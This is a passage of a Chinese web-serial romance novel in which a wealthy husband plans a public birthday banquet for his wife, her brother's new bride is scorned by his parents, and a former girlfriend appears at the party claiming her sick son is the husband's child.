脸色难看,口气也不怎么好,“我和我家太太好的很,你们嘴巴放干净一些,什么吸精气?什么乱七八糟的,倩女幽魂看多了吧。”
张特助挡下了记者的长枪短炮,“好了各位,今天到此为止吧。”
在张特助的保护下,袁枫终于是坐进了车里,闪光灯还在继续。
车子艰难的驶离。
他捏了捏眉心,“最近这是什么情况?就因为施晓死了,裴家这是又被钉上标签了?”
“听说施家小姐死后,连尸体都没有找到,现在全江城的媒体记者,都说裴家兄妹克人,谁要嫁了,娶了,指定没有好下场,所以……”
袁枫蹙眉,“这不是胡说八道吗?”
“其实吧,现在这情况越演越烈,陆之白功不可没,自从陆律师去世后,他就跟疯了似的,天天骂裴家,那太太……就是被骂得最惨的一个。”
陆为谦的去世,裴吟本来就很自责。
袁枫不是不能理解陆之白。
但,陆为谦都离世了那么久了。
陆之白应该学着释怀,而不是跟裴吟过不去。
她现在听到这些,心里该多难过。
“是不是太太的生日快到了?”
张特助立马查备忘录,“是的袁总,这周五,也就是大后天就是太太的生日。”
“准备家宴,为太太庆祝生日,你帮我去订鲜花和气球,还有给我准备请柬,我要隆重的,为我的爱人庆生。”
“袁总,您这次,要宴请对象名单……”
袁枫:“所有的亲朋好友,与袁氏有来往的商界大亨,通通安排,还有……安排漏洞给那好处费个不怀好意的记者,让他们知道,我们夫妻不仅身体很好,还很恩爱。”
“好的,明白。”
路上。
袁枫给裴吟打了个电话,“有没有特别喜欢的东西?”
“没有啊。”她正在哄着两个小宝贝在玩,“怎么了?”
“没什么,过几天你的生日,购物车一会儿我给你清了,你要实在没什么喜欢的东西,礼物我看着买了,跟你哥讲一声,让他来参加你的生日派对,自家人,请柬我就不下了。”
“你要给我大办生日宴啊?”裴吟不喜欢这样的大张旗鼓,“我不喜欢的袁枫,你知道我的这个人,最怕人前应酬。”
“我知道,但这次,必需要办。”
他想让所有的人看到,裴吟嫁给了他,他很幸福,袁家更好了,他们有儿有女,过的很好。
裴家人,不是什么不祥之兆。
他要给她正名。
“阿吟,就一次,听我的,行吗?”
第285章 裴家没瞧上她
裴吟哦了一声,“下不为例。”
“谢谢老婆。”
挂断电话。
裴吟失神。
她能想通袁枫要为她大办生日宴的想法。
无非就是想堵住那些,没有任何根据的谣言。
他怕她委屈。
怕她想到陆为谦的离开,会自责。
她没那么脆弱。
拿起手机,她给袁枫发了条信息,“我没事的,别担心。”
……
收到裴吟要过生日的消息。
裴啸给邓雪打了个电话,让她来一趟江城。
说要带她见父母。
邓雪一时有些惶恐。
一下午都在忐忑。
邓母看她魂不守舍的,“怎么了?出事了?你爸又去公司里找你了?”
“不是,妈。”她握着母亲的手,指尖冰凉,“裴啸说,要带我去见他的父母,我好怕,我心里好慌,我真的……还没有做准备,万一,他父母不喜欢我怎么办?”
她甚至连他父母长什么样子,她都不知道。
性格,脾气,喜欢什么类型的儿媳妇,她全是空白。
“妈,万一,我被他父母退货了,我和裴啸,是不是就一定得分开?”
邓母也不知道,这种富豪家里,是什么样的规矩。
这豪门媳妇难当。
谁都知道。
不都说,豪门家的儿媳妇的心,都是委屈撑大的,她的女儿是能吃委屈的,但她这个当妈的,会心疼。
“妈嫁给你爸时,你奶奶也不喜欢我,但我还是尽心的伺候她,人心比人心吧,如果她实在是对你的出身和你这个人,有看法,妈尊重你做出的任何决定。”
邓雪的压力很大。
邓母不想给女儿打退堂鼓,只能鼓励着,让她往走走看看,“我想裴啸应该不会让他的父母,过多的为难你的,他那个人,看起来,可不像妈宝。”
邓雪叹息。
希望吧。
邓雪去江城前,购买了昂贵的,可以拿得出手的礼物。
但前往裴家的脚,还是如灌了铅一般的沉重。
“裴啸,我有点害怕。”
尽管,她今天打扮的特别得体,妆化的也很温婉。
一副恨不得,把自己当成假名媛。
但,她就是觉得,这个家,不是她应该来的地方。
裴啸握着她冰凉的小手。
用掌心的温度温暖她,“别怕,他们不吃人,而且裴吟也在呢。”
“裴吟也在?我没有给她准备礼物,我现在就去买。”邓雪掉头就想走。
被裴啸揽着肩,又回到原位上,“不用,日后再说,她不会计较这些。”
邓雪的心跳的很慌。
她像个没见过世面的土包子,在下人们打量的眼光中,跟在裴啸的身边,往里走。
裴家的别墅看起来很漂亮。
比起上次去见过的施晓的家,还要大。
裴家的人都在。
裴父和裴母坐在主位上。
对邓雪全身上下,透着审视。
只有裴吟眼中流露片刻的错愕过后,掩唇笑着。
“你说,这是你女朋友?”裴父眼中充满了对眼前这个陌生女孩的,疑惑,“是哪家的千金啊,我怎么没听你提起过?你这下家找的够快的,施晓这才去世几天,你就有新人了。”
裴母的眼神更为凌厉。
似乎一眼就能看穿,名牌衣服下的邓雪,是一只丑小鸭。
邓雪脑袋低低垂着,像个做了错事的小媳妇。
“她不是哪家的千金,家庭普通,父母离异,她也不是我的女朋友,我们领证了。”
裴啸话音落地。
裴父裴母皆愕然。
“你疯了你,领证这么大的事情,你不跟我们商量一声?”裴父向邓雪投去了并不善意的眼光,“你们什么时候搞到一起的?裴啸,你不要告诉我,你在和施晓订婚的时候,还在外面睡女人。”
“儿子,我们家不是收容所,不要阿猫阿狗的都往家里带,她干不干净?过去清不清白?你别乱来啊。”
裴母也瞧不上邓雪。
一看就是一副子小家子气。
他们裴家要找的媳妇,得有家世,要大气端庄温婉亲和。
一个下三烂,也配?
裴吟嫌母亲说话难听,“妈,你就算瞧不上嫂子,也不至于说这么没有水平的话,传出去你这个恶婆婆可就出了名了,以后我们裴家不光克亲家,有你这个恶婆婆做镇,以后啊,我哥就打光棍,我们裴家就绝后吧。”
裴母被女儿气到。
但好话她也没有,“就算是娶不到合适的,也不将就吧,裴啸,不是我说你,你是天鹅肉吃多了,想尝尝癞蛤蟆的滋味可以,但别带回来恶心我们行吗?”
邓雪的脸面,被丢在地上,狠狠的踩。
瞧不上她就瞧不上,侮辱她,大可不必吧。
“裴啸,我想我也没必要留下来,继续听这些。”邓雪把买的礼物,轻轻的搁在桌子上,“伯父,伯母,既然你们对我这么的瞧不上,我也就不在这儿碍你们的眼了,我就先回去了。”
裴啸紧紧抓着邓雪的手不放。
转身对父母讲,“老婆我已经娶了,现在是通知你们一声,别那么多的意见,没人会听。”
“老裴,你看看你这好儿子,这媳妇刚娶进门,就学会跟我们唱反调了,谁家的好媳妇,会这样教坏别人家的儿子?”
裴母火大,她起身冲着邓雪走了过来。
不仅瞧不上邓雪的出身,还瞧不上她的长相,瞧不上她的穿着,连邓雪的头发丝,她都觉得厌恶。
“你这个女人,还蛮有手段的,既然我儿子喜欢,我们也不说什么,但你觉得这样合适吗?让裴啸为了你,跟我们反目成仇?你父母就是这么教你的?教你破坏父母和儿子的关系的?”
邓雪被冤枉。
也无法解释。
她只能紧紧的扣着小手,头也不敢抬。
“妈,我哥既然已经跟嫂子结婚了,你说那些干啥,咱们家我一个人联姻还不够,还都得去联姻?要是裴家的千秋伟业,都得靠联姻才能走下去,我看啊……不行就破产吧,别在江城混了。”
裴吟直言直语。
虽然说的是实话,但裴父不爱听。
“混账东西,还轮得到你来教训我们了?不要仗着袁家宠你,你就无法无天了,我告诉你,我随时可以打死你。”
裴父放狠话。
裴吟撇撇嘴,“做人得讲道理,老靠吼,不能服人。”
裴父气的哆嗦。
裴母扶他坐下休息。
向裴啸表明态度,“你结这个婚,没有经过我们的同意,我们不认,你们先走吧,别再惹你爸生气了。”
邓雪被赶出了裴家的大门。
她预料之中的事情。
但没有想到,会这么恶劣。
“对不起啊裴啸,让你跟着挨训,我是……真的拿不出手,要不……,我们还是……离婚吧。”
第286章 你不差,是他们没眼光
邓雪被伤的厉害。
就算裴家勉强接受她,她在这个家里,也有吃不尽的苦头。
对于豪门来讲。
家世就是第一要素,谁家会娶一个没有背景的女人?
邓雪挺想哭的。
可又觉得自己没有哭的立场。
“帮我谢谢裴吟,难为她还为我说了那么多的好话,连累着挨了骂。”
裴啸将她拥进怀里,轻轻的抱着,“难过了?”
“嗯。”她没有掩饰自己要垮掉的情绪,“我其实有猜到,会不被接受,但我……没有想到,会被拒绝的如此强烈,裴啸,我真的很差劲吗?”
“你不差,是他们没眼光。”他指尖轻轻的撩起她额间的碎发,掖到耳后,“不难过了,你有我就够了。”
邓雪望着眼前的男人。
有他有什么用呢?
一个不被家族接受的儿媳妇,是无法生存下去的。
要一辈子跟他生活在裴家之外吗?
她会被骂死的。
不,这不是她想要的,也不是裴啸应该有的。
她挤了抹笑,违心的点头,“嗯。”
裴家。
裴吟坐在父母卧室的软榻上,一边吃着水果,一边劝他们,“我哥既然已经和邓雪领证了,你们反对也没什么用,只能搞坏大家的关系,我哥的脾气你们是知道,他要真生气了,撂下裴氏这一摊子,定居到国外,你们哭都没地方哭去。”
裴家父母自然是了解自己儿子的脾气。
但现在裴父身体不好。
作为儿子,他至少在现在这个阶段,是不可能这样任性妄为的。
“他真想气死他老爹,他就走,走的越远越好……”
裴父气得浑身都在颤。
裴母不让裴吟再说这些,“你老刺激你爸干什么?你哥他不是那样的人。”
“我哥也老大不小了,有人肯嫁给他,你们应该偷着乐,再说了,人家邓雪哪里差了?凭个人能力,爬到公司某总的位子上,人家找什么样的,找不到?她将来要是愿意给我哥当帮手,裴氏至少要翻两倍的体量,你们真是……”
裴吟劝父母不要执着于家世背景。
这样毫无意义。
“爸,妈,你们想想,我哥要是娶一个只会逛街,SPA的无脑花瓶回来,再生几个二世祖,裴家早晚会完蛋啊,这妈妈聪明,生的宝宝才会聪明,你想邓雪那么聪明一个女孩子,肯定会生特别聪明的孩子,再加上我哥的基因,那以后咱们裴家就后继有人了,你们别糊涂啊。”
父母没再反驳。
但脸色也没有缓和多少。
他们有他们的坚持。
想要短时间改变,也不容易。
“反正,你们好好想想吧,邓雪对于我哥,对于我们裴家来说,是一个特别合适的对象,如果你们执着于娶一个家世,一个背景,那你们就跟我哥闹,哦,对了,你们还得注意自己的身体,别气出个好歹,到时,结局改变不了,还搭一条人命。”
“滚,你赶紧给我滚。”裴父气得要犯心脏病。
裴吟耸耸肩,“行,我滚,你别生气了爸,我滚了……”
临走时,拿了个桃子。
啃着往外走。
袁枫看她出来,忙下车迎了过去,“不是说,要住一晚吗?”
“被骂了,赶着滚蛋呢。”裴吟将吃了几口的桃子,递到袁枫嘴边,“尝尝,可甜了。”
袁枫很给面儿的,咬了一大口,“确实很甜,但没有我老婆甜。”
“老婆哪有小三甜。”她没理人,弯身坐进了车里。
袁枫心口颤颤。
这像是话里有话啊。
“阿吟,你这话……我可没有小三啊,我发誓。”
“你有没有,你自己知道。”
裴吟想到昨天,那个领着儿子的女人,她心里就堵的慌。
袁枫再三保证,不会在婚前搞出私生子。
她信了。
可是……
那个孩子,有三四岁的样子。
分明就是他们婚前生的。
那个女人,也很年轻,她的眼泪和小心翼翼,都让裴吟对自己的婚姻开始破防。
袁枫不知道发生了什么。
他很茫然,“阿吟,是不是……你见什么人了?或是听到什么?秘书?客户?前任?还是……”
裴吟不想说。
只是那样淡得如白开水般的,看着袁枫,“袁枫,如果你真的有私生子,一定会侵犯到我儿子在继承上的权益,我是不会允许这样的事情发生的,你懂吗?”
“我没有啊。”袁枫惶恐,“阿吟,我真的没有私生子啊,我的继承权就给儿子,还有可可,我没有别的孩子。”
“最好是没有。”
裴吟不是那种,婚变后只会哭的傻太太。
她一定会为儿子争取到,他应得的,然后让袁枫净身出户,得到该有的报应。
她挺狠的,能做得出来。
袁枫心里没底。
开车往家走的时候。
他偷偷给自己的特助发了条信息,“给我查一下,最近太太跟什么人见过面。”
裴吟明天就过生日。
他不想搞的她心里不痛快,“老婆,我给你清空购物车了,还有,我也给你买了礼物,一会儿拿给你。”
裴吟没说话。
看起来很累的样子。
回到家后,她谁也没有理,径自上了楼。
袁母看媳妇脸色不好,拽住儿子问,“阿吟怎么了?你是不是惹她生气了?”
“我没惹她,我也不知道……我先上去了。”袁枫往楼上小跑。
袁母追了句,“好好哄哄她,哄不好,看我怎么收拾你。”
裴吟很累。
澡也没洗,就上了床。
袁枫走过去,坐到她的床边上,温柔地问她,“阿吟,如果我哪里做的不好,你就跟我讲,别自己生闷气,好不好?”
裴吟眸意很凉。
有些话已经走到嘴边了,但她还是咽了下去,“等过完生日再说吧。”
提到生日。
他立马拿出一个漂亮的小盒子。
“老婆,你看,喜欢吗?”盒子里一枚净度很高的粉色钻石戒指,很大,“9.18克拉,是你阴历的生日。”
钻石真的很大。
裴吟谈不上多开心,但还是说了谢谢。
“有心了。”
“老婆,以后每年,我都给你买几套,对你来说有纪念意义的首饰。”他保证着,像个乖巧的孩子。
与生意场上那个杀红眼的袁总,判若两人。
袁枫从小不乖。
做生意更是。
唯独对裴吟,用尽了耐心。
谁叫他喜欢她呢。
他在她的脸上亲了亲,“我只要你开心就好。”
裴吟将戒指,套在了自己的手指上。
圈口正好。
他总是在这种小细节上,做的足够,“袁枫,其实这些东西对我来讲,不是必需品,我嫁给你,要么互不干涉的过一生,要么……不允许背叛,你懂吗?”
“我懂,我不会背叛你的。”他不知道该如何解释,她才肯相信,“你给我生了儿子,你对我已经够好的了,如果我再伤害你,我还算是个人吗?阿吟,这辈子我跟你结婚,是我的福气。”
第287章 这个孩子是我的吗
“别说的这么好听,袁枫,我们今后的关系如何,取决于你对婚姻,和对我的态度,你知道的,我这个人,一旦被伤害到了,我是坚决不会回头的。”
袁枫重重点头。
他怎么会不知道呢。
他也不想成为第二个陆为谦,“放心吧老婆,我一定不会做对不起你的事情。”
裴吟浅勾唇角。
抬手摸了摸他的脸,“我也想跟你白头到老的,袁枫。”
“我会努力的。”
裴吟哄了会儿娃就睡了。
袁枫坐在楼下的客厅里,一根接着一根的抽烟。
张特助打来电话,“袁总,查到了,姚梦然昨天的时候,带着一个小男孩,跟太太见过面,就在前街那家咖啡厅。”
袁枫吸烟的动作一滞。
这个名字,在他的世界里消失快五年了。
怎么突然就又冒出来了。
“查到她现在哪儿住吗?”
“查到了。”
“开车过来接我。”袁枫摁灭了手中的烟卷。
一个将近五年前,交往过不到半年的女朋友。
一个莫名其妙出现的小男孩。
这对于裴吟来说,是一个不可接受的事情。
她没有发火,只是淡淡的阐述了自己,对婚姻的一些要求,他觉得她已经够冷静了。
他得给她一个说法。
他也得给自己一个交代。
去往姚梦然家的路上,张特助还在跟他说着,最近发生的事情。
“听说姚梦然的孩子,得了什么血液病,除了需要匹配的骨髓,还需要一大笔手术费,我猜,这是她找上太太的最主要原因。”
袁枫面露苦涩和不解,“我跟她……没有孩子吧?我跟她……没有过几次啊,而且,我这个人,没有习惯……,知道她跟太太说什么了吗?”
“我让人调了那家咖啡店的监控,好像说的话也不多,但确实是听不清讲的什么。”
“有那个孩子的正面照吗?给我看看。”袁枫又问。
张特助在电脑上找了半边,递给袁枫看,“不是很清楚,您大概看一看轮廓,我觉得……”
袁枫接过电脑。
小孩子三四岁的样子,瘦瘦的,小脸一把,确实是看不太清楚。
“你觉得什么?”
张特助咽了咽,“还挺像您的。”
袁枫倒没觉得多像。
他跟那个女的没做过什么冲动的事情。
倒不是说,他在男女之事上不是冲动的人,只是刚好那个时间,他做了个小手术身体欠佳。
医生再三叮嘱,他也听了进去。
姚梦然性子乖巧,那时她家里需要钱,愿意伺候他,照顾他,二人也就那样没名没分的,生活了一段时间。
不应该怀孕的啊。
“去看看再说吧。”
“是。”
姚梦然租了一个不算太新的小区的楼房。
二楼。
楼道里有一股发霉的味道。
张特助上前敲门。
很快,小男孩将门打开,“你们找谁呀?”
“小朋友,你妈妈在家吗?”张特助弯身问向他。
小男孩眨了眨大大的眼睛,跑进屋里,很快姚梦然走了出来。
看到张特助,她有一些错愕的。
再一抬眸,看到张特助身后的男人,她更是吓的连退了三步,“你们……”
“姚小姐,你别害怕,袁总过来,是想向你求证一些事情的。”
姚梦然忐忑的看了袁枫一眼。
而后声音低低小小的,“那你,你们,进来吧。”
房间很小。
五十平左右。
除了一张小的不能再小的餐桌,还有被隔断隔开的卧室,就是一堆的锅碗瓢盆。
条件之简陋。
让人看了心生困惑。
尤其是袁枫。
姚梦然跟他在一起的那半年时间,他可没少给她钱。
这才几年,就花光了?
姚梦然安顿好儿子。
这才请张特助和袁枫坐下。
“不好意思啊,家里挺小的。”
“姚小姐,我就不卖关子了,今天袁总找过来,是因为你昨天的时候,跟我们家太太见过面了对吗?”
提到这事。
姚梦然的心跟着猛攥了一下。
她是走投无路了,才去找的裴吟。
“是。”
“有什么事情,是跟袁总说不了的吗?非要去找我们家太太,你可能不知道,袁总很爱太太,你这样贸然的去找太太,会给袁总的家庭,带来很大的麻烦。”
姚梦然咬住唇。
指尖无措的,乱抓着裤缝,许久,“我是觉得,大家都是女人……”
“梦然。”袁枫唤了她的名字。
她后背一僵,颤着眼眸,望向了袁枫,“啊?”
“说说吧,找我太太是想干什么?”他语气平静,盯着她的脸的眼神,像看一个待宰的猎物。
姚梦然是怕袁枫的。
没敢与他对视。
“我……”
“不好说?”他眼神收紧。
姚梦然咬着下唇,“我……”
“那我来问,这个孩子是我的吗?”
姚梦然垂下脑袋。
十分钟也没有给出答案。
“不想说?”
姚梦然依然不说话。
“你带着孩子在我太太面前出现的目的,这还需要我来教你说吗?你想得到什么?”
姚梦然抿紧了唇。
还是一言不发。
张特助眼瞅着袁枫就要发火,看向姚梦然,“姚小姐,我听说你家儿子病了?如果需要袁总帮忙,你可以直说,这样带着孩子,私下去见我们家太太,惹太太不欢喜了,谁都帮不了你。”
“姚梦然,你要是不想说,我也不逼你,张特助,把孩子带走,去做亲子鉴定。”
袁枫耐心用尽,起身。
声音冷洌。
姚梦然害怕了,急忙挡住张特助,“不行,你们不能带走我的儿子,他还生着病呢,你们不能……”
“姚小姐,刚刚袁总给你机会了,你到底想要什么,你倒是说啊。”
姚梦然摇头。
牙咬的很紧。
不知道是有苦衷,还是有别的打算。
袁枫没什么耐性。
她不说,他便也不再问,只是想警告她,“既然这样,以后就不要再出现在我太太的面前,如果还有下次,我自有手段。”
袁枫说完,转头就走。
张特助留下来,说了几句话,“姚小姐,太太她是袁总心尖上的人,如果你搅的太太和袁总生了嫌隙,说严重点,离了婚,你也不会有好果子吃的,你别忘了,你还有一个病孩子要照顾,事情别做的太绝,你好好想想吧。”
张特助留了名片给姚梦然。
“如果你想通了,想告诉我真相了,随时可以联系我,能帮你解决的,我都会帮你解决,这也是……袁总的意思。”
门被带上。
空气中带有男人的气息。
小家伙从里面跑出来,抱住了姚梦然的腿,“妈妈,那个是爸爸吗?他好凶哦,好像不喜欢我们。”
第288章 妻离子散,身败名裂
裴吟生日这天。
袁枫特意给她挑了件漂亮的小礼服。
佩戴的也是几千万的珠宝。
万千宠爱。
成为了江城联姻中的佼佼者。
无数女人的羡慕。
邓雪没和裴啸一起过来,但是请裴啸送来了生日礼物。
看着礼物没见人,裴吟特别能理解邓雪的心情。
“哥,你这媳妇娶的不动声色的,我觉得太委屈邓雪了,你得挑个好日子,办个像样的婚礼,别人不重视她可以,你得重视啊。”
裴啸笑笑。
他有他的计划和打算。
“以后再说吧,她心里不好受,需要独处,礼物我帮她带到,你别挑她理。”
裴吟点头。
她不是挑理的人。
“怎么会,要不,一会儿你也赶紧回去吧,多陪陪嫂子。”
“知道了。”
生日宴上来的客人很多。
裴吟陪着袁枫,与这些熟悉的不熟悉的,见过的没见过的,举杯寒暄。
人人都羡慕裴吟嫁的好。
而袁枫逢人就夸裴吟,是她下嫁,自己才有如此的好福气娶到她。
“看得出来,袁总对自己的婚姻生活,很满意啊。”
“可不是吗?袁总现在是有儿又有女,我是羡慕的很啊。”
“都说裴家的儿女八字克人,我看袁总不仅没受影响,事业上,还顺风又顺水的,这分明就是旺夫嘛。”
“那些传闻都是无良媒体乱讲的,封建迷信是不可信的。”
袁枫很满意。
脸笑的跟朵花似。
他大手落在裴吟的腰上,不自觉的靠近,想去亲她。
这唇还没有落到她的脸上,就听到了有人……
“爸爸。”
声音清脆。
众人皆回眸,望向了不该在此时出现在姚梦然母子。
袁枫瞳仁猛的紧缩。
裴啸亦是如此。
这怎么还叫上爸爸了。
他快速的将眼前的女人和孩子,从头到脚的打量了一遍,走到了妹妹身旁,“什么情况?”
裴吟还算冷静。
这个女人和孩子,之前她见过。
那女人见她时,只说了一句话,她和袁枫曾经的关系,以及孩子病了。
爸爸?
这是来认亲来了?
还挑了这么个好日子。
“老婆,这事……”袁枫想解释,可他发现,根本没法解释。
裴啸沉眸,“你什么情况袁枫,外面的菜没摘干净?”
“不是,我……”
他有些乱了。
好在张特助在,他走到姚梦然面前,想带她先离开,“今天这样特殊的日子,你要知道,你会付出什么代价,听我的,先走,有什么事情,过后再说。”
姚梦然牵着小家伙的手。
站在原地,愣是没动。
“你非要在这时候,触袁总的眉头吗?姚小姐,你得想好后果啊。”
大家都纷纷议论。
这个女人和袁枫的关系。
而裴吟的脸,更是沉的厉害。
姚梦然无视张特助的阻拦,牵着宝宝的手,走到了袁枫和裴吟的面前。
“袁枫,这是你的儿子,是我为你生的,你今天就认了他吧。”
此话一出。
全场愕然。
裴吟有想到会是这个结果,但真正听到真相,她还是无法接受的。
她身子晃了一下,被裴啸扶住。
袁枫更是要疯了,“你凭什么说他是我儿子?他哪里长得像我了?姚梦然,如果说他是我儿子,也得拿着亲子鉴定来认爹,不是你红口白牙,我就得给你的儿子喜当爹。”
“袁枫,他真的是你的儿子,他今年四岁,是我们分开后,我发现怀上的,我真的没有骗你,你就认了他吧,好歹他是个男孩,他现在生病了,只有你才能给他好的治疗。”
姚梦然,将儿子推到了袁枫的面前。
小家伙有些打怵,但还是配合了妈妈。
袁枫眉心紧拧,咬着后槽牙,像要吃人,“姚梦然,今天是我老婆生日,你给我整这一出?昨天晚上,我去找你的时候,你怎么不说?你到底想干什么?”
“他叫左左。”姚梦然像是在安排后事一般地说,“他吃芒果过敏,得了白血病,我没有能力给他治疗,袁枫,你是个好人,希望你能收留他,我会感激你的。”
说完。
姚梦然哭着跑了。
小家伙看到妈妈走了,哇哇地哭着要找妈妈。
被张特助抱住,“袁总,这怎么办啊?她把孩子丢下了。”
袁枫气坏了。
当着这么多人的面。
姚梦然不仅想毁了他的家庭,还想毁了他。
这气,他能咽下去吗?
“我哪知道,她自己的孩子都不要,我们能要吗?把他丢到大街上。”
张特助嘴上答应着。
但也只是把孩子先带走了。
生日宴,被搅黄了。
裴吟自始至终的,都没有讲一句埋怨袁枫的话。
只是杯中的酒,冷的她指尖发僵。
“我累了,先去休息了。”裴吟转身离场。
一身华贵在此时,成了众人眼中的笑话。
袁枫要去追,被裴啸抬手拦下,“你小子,私生子搞出来了?当初你是怎么说的?你怎么可以在阿吟爱上你之后,如此重的伤她?你还是个人吗?你这就是骗婚。”
“我没有啊。”袁枫懊恼,他也不知道怎么就冒出个孩子来,“大哥,咱们都是男人,做那事用没用套子,总记得清吧,我跟她总共没睡过几次,你可以查一下,那段时间,我受伤了生病了,怎么会……搞出孩子来呢。”
“你说没有,就没有了?事实不是在这儿摆着吗?”裴啸攥起袁枫的领口,“袁枫,你太让我们失望了,你最好查清楚,如果这个私生子真是你的,我会带裴吟离开。”
“我……”袁枫有苦难言。
他也没有想到,姚梦然给他下了这么大一盘棋。
这是奔着让他妻离子散,身败名裂来的。
他曾经对她不薄啊。
她为什么要这么对他。
宾客散去,闹剧收场。
袁枫回到卧室。
裴吟没在。
他又去了孩子们的房间。
看到了裴吟打包好的孩子们的衣物。
他慌了。
四下找人,“阿吟,老婆,阿吟……”
“先生,太太去三楼的书房了。”有下人过来跟他讲。
他几乎是用小跑的速度,上了三楼。
裴吟正在阳台上吹冷风。
不是自虐,是想让自己的脑袋能清醒一些。
他从身后抱住了她,“不管你信与不信,我真的没有骗过你,阿吟,我真的好难过,我真的不知道今天,会发生这样的事情,我想给你过一个难忘的生日,我没有想到,会是这样的结果……”
袁枫要哭了。
裴吟委屈,他何尝不委屈。
可他不怕自己委屈,“我和姚梦然只在一起半年的时间,是,这孩子的年龄和时间对得上,但我真的……,你可以信我吗?阿吟,我可以求你给我一次信任吗?”
第289章 很大一笔分手费
“袁枫,我不是一个不讲道理的人,你说你和她做足了措施,不可能怀上孩子,但你有没有想过,如果一个女人想怀你的孩子,办法有千百万种,所以……”
她淡淡的望着天上的星星,“……不管你愿不愿相信,这个孩子极有可能是你的骨肉,这是事实袁枫,如果这个事实成立,我们就……”
“不要。”他抱紧了裴吟的腰,“就算他是我的种,我也不会认得,这种算计来的孩子,怎么能成为袁家的子嗣呢,阿吟,这辈子我只想对你一个人负责。”
裴吟无声叹息。
她何尝没想过,与他一生一世,相濡以沫呢。
现实就是这么的猝不及防。
“我们都冷静冷静吧。”她想先回娘家住段日子,给他空出时间来,让他处理这些糟心的事情,“我带宝宝们回娘家住段时间。”
“不要。”他怕极了。
怕她回去了,就不再回来。
“阿吟,我明天就跟这孩子做亲子鉴定,等出了结果,你再决定好不好?”
裴吟知道袁枫怕什么。
怕她离婚,一去不回头。
她现在心里还很乱,根本没有想离婚的事情。
“别怕,就算是离婚,我也只会要我该得的,多一分我也不要,我不会跟你撕破脸的,除非是为了孩子。”
她是太太,但也是妈妈。
女人可以鸠占鹊巢,赶走她,娃不行。
“我不要离婚,阿吟,我不想跟你离婚,就算是我的错,我也不想跟你离婚,我爱你,我不想让你离开我。”
裴吟深呼吸。
离婚的事情,再说吧。
现在的她也需要冷静冷静。
“不说这个了。”
这晚。
裴吟没睡。
袁枫也在书房里抽了一晚上的烟。
袁父袁母,有心想替儿子说几句话,又觉得没有站得住脚跟的理由,怕多说一句,就会加速这桩婚姻的解体。
一个个的大气不敢出。
清晨一早。
裴啸接裴吟回家。
离开前,袁枫抱了抱裴吟,“老婆,你等我把事情调查清楚,去接你回家。”
裴吟抿唇笑笑。
无奈又苦涩。
看着消失的汽车尾灯。
袁枫心里不慌是假的。
他很希望裴吟跟他闹,那说明她心里在乎他,在乎这个婚姻,在乎这段还不算长的感情。
可她偏偏过于冷静。
不吵不闹也不阴阳怪气,就像是谈一件别人家的事情。
只剩下他一个人,兵荒马乱。
一夜未睡的男人。
顶着满是红血丝的双眼,带着小家伙去了基因检测工作室。
与此同时。
裴啸的车子,也开到了裴家的家门口。
袁母好话说尽,没让她带走宝宝。
大概是怕她一去不复返。
裴吟理解,便把两个宝宝都留在了袁家。
袁家她是一定会再回去的。
而裴家,她现在……
“哥,我去你那儿住吧,我怕爸妈问东问西的。”
“好。”
裴啸的车子打了把方向。
他是自责的。
裴吟的两次婚姻都出现问题。
他这个当哥哥的,心里很不是滋味。
“要是这次,你真跟袁枫离了,哥不会再让你去联姻了。”
裴吟侧过脸来,看了裴啸一眼,他眼眶有些红。
她无所谓的笑了笑,“别往心里去,不是联姻的婚姻,照样出问题,跟这没关系。”
“不管怎么说,裴家联姻这事,应该由我去做,而不是你,你已经替你哥我挡了两箭了,以后就随心所欲的过日子吧。”
这是他能给她的最后的保护了。
哪怕是牺牲自己的幸福。
裴吟鼻头发酸。
他们兄妹两个,脾气其实差不多,死倔死倔的。
哥哥好不容易找到了自己的爱人,为她去舍弃掉,多不值啊。
“哥,我们都要幸福,你也不能愧对嫂子,你知道她在你这儿,一直是没有安全感的,你更应该保护好她,我就不一样了,我铜墙铁壁的,刀枪不入,放心。”
裴吟越这样说。
裴啸心里越难受。
车子开到楼下时,他对裴吟说了门的密码,“安心在这儿住吧,假如哪天,你真的和袁枫离了婚,哥再给你买套大房子。”
“我才不要呢,你把钱攒好,以后还要养孩子呢。”
裴吟下车。
深呼吸。
冲着车里的哥哥挥手,“哥,我上去了,你赶紧去嫂子那儿吧,别等她再回海城了,你还得追到海城去。”
“有事给我打电话。”
“好。”
……
裴吟一夜未睡。
她想补觉。
手机响了。
一个陌生的号码。
似乎有预感一般的,她接了起来,“喂?”
“裴小姐,我是姚梦然。”
裴吟猜到了,“有事?”
“我们见一面吧,我有些事情要跟你讲。”姚梦然报了个地址,“裴小姐,我等你。”
裴吟也能大概猜到,这个姚梦然找她的原因。
无非就是让她接纳,她的孩子。
这对于裴吟来说很难。
她根本就不是这样的性格,为了守住一个财阀老公,任由他的各种私生子找上门来,装作无事发生。
她对婚姻的要求很简单。
没有感情的婚姻,各玩各的,她没意见。
只要两个人产生了感情,她就要对方绝对忠诚。
私生子这件事情,显然有悖于忠诚二字。
姚梦然报的地址。
是一个湖边的小公园。
寒风瑟瑟。
这个女穿的很单薄。
人又清瘦,似是风一吹,她就能连滚带爬的掉进湖里。
“你得多穿衣服,这样会感冒的。”裴吟好心的说,然后坐到了休息椅上,“有什么事情,就赶紧讲吧,我没你抗冻。”
裴吟将小手揣进兜里。
她并未看姚梦然,而是望向了平静的湖面。
“我想先跟你说说,我和袁枫是怎么在一起的。”
裴吟轻笑。
这种套路,不过就是想让她吃醋,嫉妒,偏她对此不感兴趣。
“这就没有必要了吧,如果他的每一个前任,都来跟我讲她们和他的故事,得浪费我多少时间,直接说正事吧。”
“不,我要说,耽误不了太久的时间。”
姚梦然似乎在坚持着什么。
裴吟扫了她一眼,“那就挑干的说。”
“那一年,袁枫病了,小腿做了个手术,他那时是空窗期,而我刚好那时走投无路,朋友看我有点姿色,便将我介绍给了他。”
“主要负责照顾他,如果他有那方面的需要,我也要做一个合格的床伴。”
“那时我家里有变故,很缺钱,他这个人很大方,前前后后的帮我处理了一些事情,钱也花了不少,我们之间自然而然的,以男女朋友相处着。”
“袁枫是一个很好的人,很容易让人产生好感和依赖,我就是其中一个,在他对我的帮忙之下,我渐渐的爱上了他。”
“但他并不爱我,腿伤好后,他似乎是厌倦了我,我苦苦哀求,也没有阻止他跟我分开了,不过,他很大方,很了很大一笔分手费。”
第290章 不接受与自己无关的孩子
“离开他以后,我就找了个男朋友,但这个人比袁枫差远了,他骗光了我所有的钱,还卖掉了袁枫给我买的房子,消失的无影无踪。”
似乎是说到了心痛之处。
裴吟看到姚梦然的身子在抖。
她没说话,淡淡的等姚梦然平静了一下,继续说。
